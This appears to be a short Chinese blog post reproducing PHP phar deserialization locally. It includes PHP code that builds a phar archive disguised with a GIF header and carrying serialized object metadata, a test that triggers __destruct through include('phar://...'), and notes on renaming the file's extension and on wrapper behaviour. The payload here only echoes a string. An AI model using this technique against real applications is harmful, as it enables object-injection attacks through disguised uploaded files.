phar 反序列化本地測試
阿新 • • 發佈:2018-11-27
看了上邊的文章,然後根據他的程式碼來複現的。
眾多檔案操作函式能反序列化在於使用了 phar_parse_url
,之後有呼叫到 phar_var_unserialize。
生成 phar程式碼: test.txt隨便寫就行,沒必要真實存在
<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設定stub,增加gif檔案頭 $phar ->addFromString('test.txt','test'); //新增要壓縮的檔案 $object = new TestObject(); $object -> data = 'hu3sky'; $phar -> setMetadata($object); //將自定義meta-data存入manifest $phar -> stopBuffering(); ?>
反序列化 程式碼:
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
測試發現,phar在生成之後,即可隨便改字尾了。生成的時候必須是.phar
還有一個就是 include 換成 is_file 的情況下,compress.zlib://phar://phar.jpg 這樣沒有被反序列化。
別的函式沒有過多的測試。:)